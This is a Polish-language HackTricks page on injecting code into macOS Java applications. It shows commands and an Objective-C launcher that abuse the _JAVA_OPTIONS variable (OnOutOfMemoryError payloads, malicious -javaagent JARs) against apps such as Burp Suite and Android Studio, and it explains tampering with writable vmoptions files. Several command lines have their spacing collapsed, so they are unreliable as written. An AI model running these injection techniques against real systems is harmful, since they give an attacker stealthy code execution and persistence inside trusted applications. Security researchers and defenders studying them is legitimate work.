Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y doHackTricks i HackTricks Cloud repozytoriów github.
Wyliczanie
Znajdź zainstalowane aplikacje Java w swoim systemie. Zauważono, że aplikacje Java w pliku Info.plist zawierają pewne parametry Java, które zawierają ciąg java., więc można je wyszukać:
# Search only in /Applications foldersudofind/Applications-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null# Full searchsudofind/-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null
_JAVA_OPTIONS
Zmienna środowiskowa _JAVA_OPTIONS może być użyta do wstrzykiwania dowolnych parametrów java podczas wykonywania skompilowanej aplikacji java:
# Write your payload in a script called /tmp/payload.shexport _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
Aby wykonać go jako nowy proces, a nie jako potomka bieżącego terminala, można użyć:
#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
Jednakże, to spowoduje błąd w wykonanej aplikacji. Innym, bardziej dyskretnym sposobem jest stworzenie agenta Java i użycie:
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
Tworzenie agenta z inną wersją Javy niż aplikacja może spowodować awarię zarówno agenta, jak i aplikacji.
A następnie wyeksportuj zmienną środowiskową i uruchom aplikację Java w ten sposób:
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
Plik vmoptions
Ten plik obsługuje specyfikację parametrów Java podczas uruchamiania Javy. Możesz użyć niektórych wcześniejszych sztuczek, aby zmienić parametry Javy i wykonać dowolne polecenia w procesie.
Ponadto, ten plik może również załączać inne pliki za pomocą katalogu include, więc możesz również zmienić załączony plik.
Co więcej, niektóre aplikacje Java będą ładować więcej niż jeden plik vmoptions.
Niektóre aplikacje, takie jak Android Studio, w swoim wyjściu wskazują, gdzie szukają tych plików, na przykład:
Jeśli tego nie zrobią, możesz łatwo to sprawdzić za pomocą:
# Monitorsudoesloggerlookup|grepvmoption# Give FDA to the Terminal# Launch the Java app/Applications/Android\Studio.app/Contents/MacOS/studio
Zauważ, że w tym przykładzie Android Studio próbuje załadować plik /Applications/Android Studio.app.vmoptions, miejsce, w którym każdy użytkownik z grupy admin ma dostęp do zapisu.